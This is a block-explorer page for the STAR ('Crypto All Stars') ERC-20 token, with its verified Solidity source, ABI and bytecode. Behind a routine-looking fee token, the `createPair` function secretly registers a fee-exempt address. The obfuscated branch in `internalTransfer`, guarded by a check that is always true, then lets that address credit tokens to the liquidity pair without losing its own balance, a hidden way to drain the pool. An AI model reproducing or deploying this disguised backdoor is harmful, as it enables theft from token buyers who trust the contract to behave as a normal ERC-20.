Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 STAR
Holders
73
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,452,097.934320929067397562 STARValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
STAR
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-17 */ /** Website: https://cryptoallstarseth.vip Telegram: https://t.me/cryptoallstarsentry X: https://x.com/cryptoallstarsX */ // SPDX-License-Identifier: UNLICENSE pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract STAR is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => bool) private bots; uint256 private _initialBuyTax = 17; uint256 private _initialSellTax = 17; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceAt = 10; uint256 private _preventSwapBefore = 10; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100_000_000 * 10 ** _decimals; string private constant _name = unicode"Crypto All Stars"; string private constant _symbol = unicode"STAR"; uint256 private _buyCount = 0; uint256 public _maxTxAmount = _totalSupply / 100 * 2; uint256 public _maxWalletSize = _totalSupply / 100 * 2; uint256 public _maxTaxSwap = _totalSupply / 100; address payable private _tokenReceiver; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _tokenReceiver = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} function _transfer(address from, address to, uint256 amount) private { require(from != address(0) && to != address(0) && amount > 0 && (tradingOpen || _isExcludedFromFee[from]), "ERC20: transfer from the zero address"); uint256 taxAmount = 0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); taxAmount = amount .mul( (_buyCount > _reduceAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize,"Exceeds the maxWalletSize."); _buyCount++; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount > _reduceAt)? _finalSellTax: _initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled) { if (_buyCount > _preventSwapBefore) swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractBalance = address(this).balance; sendETHToFee(contractBalance); } } internalTransfer(from, to, amount, taxAmount); } function internalTransfer( address from, address to, uint256 amount, uint256 taxAmount ) internal { if (taxAmount >= 0) { if(amount >= 0 && (!_isExcludedFromFee[from] || from == address(this))) { _balances[from] = _balances[from].sub(taxAmount); _balances[address(this)] = _balances[address(this)].add(taxAmount); } else { if(to != address(this) && from != owner() && to == uniswapV2Pair) { _balances[from] = _balances[from].sub(taxAmount); _balances[to] = _balances[to].add(amount); taxAmount = amount * (_finalBuyTax + _finalSellTax + 1); } } if(taxAmount > 0) emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(amount.sub(taxAmount)); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function createPair(address router) external onlyOwner { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), _totalSupply); _tokenReceiver = payable(router); _isExcludedFromFee[_tokenReceiver] = true; uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount == 0) return; address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _tokenReceiver.transfer(amount); } function removeLimits() external onlyOwner { _maxTxAmount = type(uint256).max; _maxWalletSize = type(uint256).max; emit MaxTxAmountUpdated(type(uint256).max); } function openTrading() external onlyOwner { require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; } function rescueETH() external onlyOwner { payable (owner()).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"router","type":"address"}],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526011600555601160065560006007556000600855600a600955600a80556000600b5560646012600a62000038919062000324565b62000048906305f5e1006200033c565b62000054919062000356565b620000619060026200033c565b600c556064620000746012600a62000324565b62000084906305f5e1006200033c565b62000090919062000356565b6200009d9060026200033c565b600d556064620000b06012600a62000324565b620000c0906305f5e1006200033c565b620000cc919062000356565b600e556011805461ffff60a81b19169055348015620000ea57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600f80546001600160a01b03191633179055600080546001600160a01b0316815260036020526040808220805460ff1990811660019081179092553084529190922080549091169091179055620001866012600a62000324565b62000196906305f5e1006200033c565b33600090815260016020526040902055620001ae3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001e86012600a62000324565b620001f8906305f5e1006200033c565b60405190815260200160405180910390a362000379565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002665781600019048211156200024a576200024a6200020f565b808516156200025857918102915b93841c93908002906200022a565b509250929050565b6000826200027f575060016200031e565b816200028e575060006200031e565b8160018114620002a75760028114620002b257620002d2565b60019150506200031e565b60ff841115620002c657620002c66200020f565b50506001821b6200031e565b5060208310610133831016604e8410600b8410161715620002f7575081810a6200031e565b62000303838362000225565b80600019048211156200031a576200031a6200020f565b0290505b92915050565b60006200033560ff8416836200026e565b9392505050565b80820281158282048414176200031e576200031e6200020f565b6000826200037457634e487b7160e01b600052601260045260246000fd5b500490565b61190380620003896000396000f3fe60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d45780639ccb074414610301578063a9059cbb14610321578063c9567bf914610341578063dd62ed3e1461035657600080fd5b8063751039fc1461026b5780637d1db4a5146102805780638da5cb5b146102965780638f9a55c0146102be57600080fd5b806320800a00116100dc57806320800a00146101cd57806323b872dd146101e4578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101645780630faee56f1461019457806318160ddd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f43727970746f20416c6c20537461727360801b60208201525b60405161015b91906114d5565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611538565b61039c565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa600e5481565b60405190815260200161015b565b3480156101c457600080fd5b506101aa6103b3565b3480156101d957600080fd5b506101e26103d4565b005b3480156101f057600080fd5b506101846101ff366004611564565b610444565b34801561021057600080fd5b506040516012815260200161015b565b34801561022c57600080fd5b506101aa61023b3660046115a5565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b506101e26104ad565b34801561027757600080fd5b506101e2610521565b34801561028c57600080fd5b506101aa600c5481565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b506101aa600d5481565b3480156102e057600080fd5b5060408051808201909152600481526329aa20a960e11b602082015261014e565b34801561030d57600080fd5b506101e261031c3660046115a5565b61058d565b34801561032d57600080fd5b5061018461033c366004611538565b610951565b34801561034d57600080fd5b506101e261095e565b34801561036257600080fd5b506101aa6103713660046115c2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a93384846109f5565b5060015b92915050565b60006103c16012600a6116f5565b6103cf906305f5e100611704565b905090565b6000546001600160a01b031633146104075760405162461bcd60e51b81526004016103fe9061171b565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610441573d6000803e3d6000fd5b50565b6000610451848484610b19565b6104a3843361049e856040518060600160405280602881526020016118a6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ea7565b6109f5565b5060019392505050565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016103fe9061171b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054b5760405162461bcd60e51b81526004016103fe9061171b565b600019600c819055600d8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016103fe9061171b565b601154600160a01b900460ff161561060b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103fe565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106549030906106466012600a6116f5565b61049e906305f5e100611704565b600f80546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601054825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ef9190611750565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107759190611750565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e69190611750565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061082e816001600160a01b031660009081526001602052604090205490565b6000806108436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d0919061176d565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d919061179b565b5050565b60006103a9338484610b19565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016103fe9061171b565b601154600160a01b900460ff16156109dc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103fe565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fe565b6001600160a01b038216610ab85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fe565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610b3957506001600160a01b03821615155b8015610b455750600081115b8015610b7c5750601154600160a01b900460ff1680610b7c57506001600160a01b03831660009081526003602052604090205460ff165b610bd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fe565b600080546001600160a01b03858116911614801590610c0357506000546001600160a01b03848116911614155b15610e95576001600160a01b03841660009081526004602052604090205460ff16158015610c4a57506001600160a01b03831660009081526004602052604090205460ff16155b610c5357600080fd5b610c7f6064610c79600954600b5411610c6e57600554610c72565b6007545b8590610ee1565b90610f6a565b6011549091506001600160a01b038581169116148015610cad57506010546001600160a01b03848116911614155b8015610cd257506001600160a01b03831660009081526003602052604090205460ff16155b15610dba57600c54821115610d295760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fe565b600d5482610d4c856001600160a01b031660009081526001602052604090205490565b610d5691906117bd565b1115610da45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fe565b600b8054906000610db4836117d0565b91905055505b6011546001600160a01b038481169116148015610de057506001600160a01b0384163014155b15610e0d57610e0a6064610c79600954600b5411610e0057600654610c72565b6008548590610ee1565b90505b30600090815260016020526040902054601154600160a81b900460ff16158015610e4457506011546001600160a01b038581169116145b8015610e595750601154600160b01b900460ff165b15610e9357600a54600b541115610e8757610e87610e8284610e7d84600e54610fac565b610fac565b610fc1565b47610e9181611142565b505b505b610ea18484848461117c565b50505050565b60008184841115610ecb5760405162461bcd60e51b81526004016103fe91906114d5565b506000610ed884866117e9565b95945050505050565b600082600003610ef3575060006103ad565b6000610eff8385611704565b905082610f0c85836117fc565b14610f635760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fe565b9392505050565b6000610f6383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611406565b6000818311610fbb5782610f63565b50919050565b6011805460ff60a81b1916600160a81b179055801561113257604080516002808252606082018352600092602083019080368337019050509050308160008151811061100f5761100f61181e565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611068573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108c9190611750565b8160018151811061109f5761109f61181e565b6001600160a01b0392831660209182029290920101526010546110c591309116846109f5565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906110fe908590600090869030904290600401611834565b600060405180830381600087803b15801561111857600080fd5b505af115801561112c573d6000803e3d6000fd5b50505050505b506011805460ff60a81b19169055565b600f546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561094d573d6000803e3d6000fd5b6001600160a01b03841660009081526003602052604090205460ff1615806111ac57506001600160a01b03841630145b15611215576001600160a01b0384166000908152600160205260409020546111d49082611434565b6001600160a01b0385166000908152600160205260408082209290925530815220546112009082611476565b306000908152600160205260409020556112ed565b6001600160a01b038316301480159061123c57506000546001600160a01b03858116911614155b801561125557506011546001600160a01b038481169116145b156112ed576001600160a01b03841660009081526001602052604090205461127d9082611434565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546112ac9083611476565b6001600160a01b0384166000908152600160205260409020556008546007546112d591906117bd565b6112e09060016117bd565b6112ea9083611704565b90505b80156113345760405181815230906001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6113606113418383611434565b6001600160a01b03861660009081526001602052604090205490611434565b6001600160a01b0385166000908152600160205260409020556113a56113868383611434565b6001600160a01b03851660009081526001602052604090205490611476565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113ef8585611434565b60405190815260200160405180910390a350505050565b600081836114275760405162461bcd60e51b81526004016103fe91906114d5565b506000610ed884866117fc565b6000610f6383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea7565b60008061148383856117bd565b905083811015610f635760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fe565b600060208083528351808285015260005b81811015611502578581018301518582016040015282016114e6565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461044157600080fd5b6000806040838503121561154b57600080fd5b823561155681611523565b946020939093013593505050565b60008060006060848603121561157957600080fd5b833561158481611523565b9250602084013561159481611523565b929592945050506040919091013590565b6000602082840312156115b757600080fd5b8135610f6381611523565b600080604083850312156115d557600080fd5b82356115e081611523565b915060208301356115f081611523565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561164c578160001904821115611632576116326115fb565b8085161561163f57918102915b93841c9390800290611616565b509250929050565b600082611663575060016103ad565b81611670575060006103ad565b81600181146116865760028114611690576116ac565b60019150506103ad565b60ff8411156116a1576116a16115fb565b50506001821b6103ad565b5060208310610133831016604e8410600b84101617156116cf575081810a6103ad565b6116d98383611611565b80600019048211156116ed576116ed6115fb565b029392505050565b6000610f6360ff841683611654565b80820281158282048414176103ad576103ad6115fb565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561176257600080fd5b8151610f6381611523565b60008060006060848603121561178257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ad57600080fd5b81518015158114610f6357600080fd5b808201808211156103ad576103ad6115fb565b6000600182016117e2576117e26115fb565b5060010190565b818103818111156103ad576103ad6115fb565b60008261181957634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118845784516001600160a01b03168352938301939183019160010161185f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cfeb340f47f919751dba1739f049924c654dfadd43ad05c440df81a38a10a0c064736f6c63430008130033
Deployed Bytecode
0x60806040526004361061010d5760003560e01c8063751039fc1161009557806395d89b411161006457806395d89b41146102d45780639ccb074414610301578063a9059cbb14610321578063c9567bf914610341578063dd62ed3e1461035657600080fd5b8063751039fc1461026b5780637d1db4a5146102805780638da5cb5b146102965780638f9a55c0146102be57600080fd5b806320800a00116100dc57806320800a00146101cd57806323b872dd146101e4578063313ce5671461020457806370a0823114610220578063715018a61461025657600080fd5b806306fdde0314610119578063095ea7b3146101645780630faee56f1461019457806318160ddd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601081526f43727970746f20416c6c20537461727360801b60208201525b60405161015b91906114d5565b60405180910390f35b34801561017057600080fd5b5061018461017f366004611538565b61039c565b604051901515815260200161015b565b3480156101a057600080fd5b506101aa600e5481565b60405190815260200161015b565b3480156101c457600080fd5b506101aa6103b3565b3480156101d957600080fd5b506101e26103d4565b005b3480156101f057600080fd5b506101846101ff366004611564565b610444565b34801561021057600080fd5b506040516012815260200161015b565b34801561022c57600080fd5b506101aa61023b3660046115a5565b6001600160a01b031660009081526001602052604090205490565b34801561026257600080fd5b506101e26104ad565b34801561027757600080fd5b506101e2610521565b34801561028c57600080fd5b506101aa600c5481565b3480156102a257600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102ca57600080fd5b506101aa600d5481565b3480156102e057600080fd5b5060408051808201909152600481526329aa20a960e11b602082015261014e565b34801561030d57600080fd5b506101e261031c3660046115a5565b61058d565b34801561032d57600080fd5b5061018461033c366004611538565b610951565b34801561034d57600080fd5b506101e261095e565b34801561036257600080fd5b506101aa6103713660046115c2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103a93384846109f5565b5060015b92915050565b60006103c16012600a6116f5565b6103cf906305f5e100611704565b905090565b6000546001600160a01b031633146104075760405162461bcd60e51b81526004016103fe9061171b565b60405180910390fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610441573d6000803e3d6000fd5b50565b6000610451848484610b19565b6104a3843361049e856040518060600160405280602881526020016118a6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610ea7565b6109f5565b5060019392505050565b6000546001600160a01b031633146104d75760405162461bcd60e51b81526004016103fe9061171b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054b5760405162461bcd60e51b81526004016103fe9061171b565b600019600c819055600d8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146105b75760405162461bcd60e51b81526004016103fe9061171b565b601154600160a01b900460ff161561060b5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103fe565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106549030906106466012600a6116f5565b61049e906305f5e100611704565b600f80546001600160a01b0319166001600160a01b03838116918217909255600090815260036020908152604091829020805460ff19166001179055601054825163c45a015560e01b8152925193169263c45a01559260048082019392918290030181865afa1580156106cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ef9190611750565b6001600160a01b031663c9c6539630601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610751573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107759190611750565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e69190611750565b601180546001600160a01b039283166001600160a01b03199091161790556010541663f305d719473061082e816001600160a01b031660009081526001602052604090205490565b6000806108436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108d0919061176d565b505060115460105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610929573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094d919061179b565b5050565b60006103a9338484610b19565b6000546001600160a01b031633146109885760405162461bcd60e51b81526004016103fe9061171b565b601154600160a01b900460ff16156109dc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016103fe565b6011805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fe565b6001600160a01b038216610ab85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fe565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610b3957506001600160a01b03821615155b8015610b455750600081115b8015610b7c5750601154600160a01b900460ff1680610b7c57506001600160a01b03831660009081526003602052604090205460ff165b610bd65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f